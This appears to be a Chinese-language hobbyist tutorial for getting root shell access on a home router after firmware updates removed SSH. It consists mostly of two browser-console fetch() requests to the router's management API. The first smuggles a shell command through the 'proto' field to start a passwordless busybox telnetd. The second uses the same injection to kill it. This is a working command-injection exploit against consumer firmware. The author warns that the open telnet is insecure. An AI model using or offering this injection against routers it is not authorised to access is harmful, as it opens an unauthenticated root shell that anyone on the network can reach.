曾经不懂事升级了 1.1.x 后再也找不回来的 SSH，现在回来了
首先打开你的浏览器，登录路由器管理页，然后按 F12
当前最新固件 1.2.8 版本可用，可用版本范围未知请自行尝试！
然后粘贴下面这段代码到控制台，按回车执行，自行修改 url 为自己管理页地址
(主题自带的代码块好像有点 bug ,如果显示很难看的话可以尝试刷新网页)
fetch("http://192.168.0.1/stok="+localStorage.getItem("token")+"/ds", {
"headers": {
"accept": "text/plain, */*; q=0.01",
"accept-language": "zh-CN,zh;q=0.9",
"content-type": "application/json; charset=UTF-8",
"x-requested-with": "XMLHttpRequest"
},
"referrer": "http://192.168.0.1/",
"body": JSON.stringify({
"method": "do",
"capture": {
"start": {
"interfaces": "ALL",
"direction": [
"RX",
"TX"
],
"time": "1",
"src_ip_mask": "192.168.0.1%2F32",
"src_ip": "192.168.0.1",
"src_mask": "32",
"dst_ip_mask": "",
"dst_ip": "",
"sport": "",
"dport": "",
"proto": "&(/bin/busybox telnetd -l /bin/sh)"
}
}
}),
"method": "POST",
"mode": "cors",
"credentials": "omit"
});
然后除了返回一个 Promise {} 以外应该无事发生
接下来打开你的 PUTTY ，选中 TELNET，输入你的路由器的 ip 应该就能连上了！没有密码
接下来想干什么都可以，你的路由器已经是你的了，可以参考之前 1.0.x 固件的 SSH 玩机教程，一样的。
但是这个 TELNET 没有密码，谁都能上可太不安全了，用完了记得关：
粘贴下面这段代码到控制台 关闭 TELNET
fetch("http://192.168.0.1/stok="+localStorage.getItem("token")+"/ds", {
"headers": {
"accept": "text/plain, */*; q=0.01",
"accept-language": "zh-CN,zh;q=0.9",
"content-type": "application/json; charset=UTF-8",
"x-requested-with": "XMLHttpRequest"
},
"referrer": "http://192.168.0.1/",
"body": JSON.stringify({
"method": "do",
"capture": {
"start": {
"interfaces": "ALL",
"direction": [
"RX",
"TX"
],
"time": "1",
"src_ip_mask": "192.168.0.1%2F32",
"src_ip": "192.168.0.1",
"src_mask": "32",
"dst_ip_mask": "",
"dst_ip": "",
"sport": "",
"dport": "",
"proto": "&(kill $(ps|grep '[/]bin/busybox telnetd'|awk '{print $1}'))"
}
}
}),
"method": "POST",
"mode": "cors",
"credentials": "omit"
});
或者在 TELNET 里自己执行 kill $(ps|grep '[/]bin/busybox telnetd'|awk '{print $1}' 之类的
总之把 TELNET 给 KILL 掉就行了
彩蛋:
